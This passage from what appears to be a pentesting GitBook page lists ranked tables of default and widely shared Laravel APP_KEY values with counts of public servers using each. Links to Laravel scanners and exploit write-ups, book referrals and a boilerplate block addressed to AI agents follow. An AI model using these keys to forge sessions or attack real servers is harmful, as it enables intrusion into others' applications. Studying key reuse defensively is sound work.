| 7️⃣      | 198                                 | 1HJ+CWiouSuJODKAgrMxvwxcm2Tg8MjlrqSl/8ViT5E= | Seems linked to several platforms linked to crypto wallet management                  |
| 8️⃣      | 195                                 | EmFb+cmLbacowY1N9P8Y8+PAcRXU7SDU2rxBL1oaVyw= | Default key of WASender a message sender for WhatsApp                                 |
| 9️⃣      | 177                                 | yPBSs/6cUPg+mwXV00hWJpB8TFk4LT+YduzProk5//Q= | Default key on several AI based projects                                              |
| 🔟       | 155                                 | ahimIiG674yV4DkPWx6f7t9dkMmTFK2S+0lCPglpVfs= | Key shared between several random Laravel projects, seems they are copying each other |
| 11       | 152                                 | RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= | Default key on Invoice ninja                                                          |
| 79       | 44                                  | 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= | Default key on Snipe-IT                                                               |

| Position | Number of public servers sharing it | APP\_KEY                                      | Description                                                                                | Position since 2024 |
| -------- | ----------------------------------- | --------------------------------------------- | ------------------------------------------------------------------------------------------ | ------------------- |
| 🥇       | 1650                                | W8UqtE9LHZW+gRag78o4BCbN1M0w4HdaIFdLqHJ/9PA=  | Default key of UltimatePOS available on CodeCanyon                                         | 🟰                  |
| 🥈       | 1132                                | xf8woJXKNEFH1rjGffK/GBw2KxjMsxkleON68YnWdaw=  | Key shared between several projects of an Indonesian company                               | 🆕                  |
| 🥉       | 518                                 | U29tZVJhbmRvbVN0cmluZ09mMzJDaGFyc0V4YWN0bHk== | base64 value of SomeRandomStringOf32CharsExactly                                           | ⬆️                  |
| 4️⃣      | 275                                 | SbzM2tzPsCSlpTEdyaju8l9w2C5vmtd4fNAduiLEqng=  | Frequently used in bootstrapped projects                                                   | ⬇️                  |
| 5️⃣      | 275                                 | otfhCHVghYrivHkzWqQnhnLmz0bZO72lKX7TxfD6msI=  | Default key of XPanel SSH User Management                                                  | ⬇️                  |
| 6️⃣      | 203                                 | U29tZVJhbmRvbVN0cmluZw==                      | Default APP\_KEY on older Laravel Version base64 value of SomeRandomString                 | 🟰                  |
| 7️⃣      | 170                                 | FBhoCqWGOmuNcUh/3E5cnwB3zNCF4rZ7G19WRW4KVOs=  | APP\_KEY shared between unrelated projects                                                 | ⬇️                  |
| 8️⃣      | 165                                 | BlQYTmcfZGV4XShvK5Z+ffNVWv0qszkUTRuEGmQ76lw=  | Default key of Rocket LMS available on CodeCanyon                                          | 🆕                  |
| 9️⃣      | 164                                 | EmFb+cmLbacowY1N9P8Y8+PAcRXU7SDU2rxBL1oaVyw=  | Default key of WASender a message sender for WhatsApp                                      | ⬇️                  |
| 🔟       | 157                                 | hMS5VtciEk3t/0Ije8BCRl+AZOvU2gJanbAw5i/LgIs=  | Default key of Flex Home - Laravel Real Estate Multilingual System available on CodeCanyon | 🆕                  |
| 11       | 153                                 | 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ=  | Default key on Snipe-IT                                                                    | ⬆️                  |
| 19       | 94                                  | ahimIiG674yV4DkPWx6f7t9dkMmTFK2S+0lCPglpVfs=  | Key shared between several random Laravel projects, seems they are copying each other      | ⬇️                  |
| 24       | 87                                  | yPBSs/6cUPg+mwXV00hWJpB8TFk4LT+YduzProk5//Q=  | Default key on several AI based projects                                                   | ⬇️                  |
| 26       | 84                                  | RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=  | Default key on Invoice ninja                                                               | ⬇️                  |
| 320      | 11                                  | 1HJ+CWiouSuJODKAgrMxvwxcm2Tg8MjlrqSl/8ViT5E=  | Seems linked to several platforms linked to crypto wallet management                       | ⬇️                  |

## Scanners

{% embed url="<https://github.com/crowsec-edtech/larasploit>" %}

{% embed url="<https://github.com/Ishanoshada/laravelScanner>" %}

## Other exploits

{% embed url="<https://hacktricks.boitatech.com.br/pentesting/pentesting-web/laravel#laravel-tricks>" %}

## Resources

{% embed url="<https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis>" %}

{% embed url="<https://www.nakanosec.com/2020/02/common-bug-pada-laravel.html>" %}

## Interesting Books

{% content-ref url="/pages/VVT5FQq9z62bWoNAWCUS" %}
[Interesting Books](/0xss0rz/interesting-books.md)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.

## Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

[![buymeacoffee](https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png)](https://buymeacoffee.com/0xss0rz)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xss0rz.gitbook.io/0xss0rz/pentest/public-exploit/laravel.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
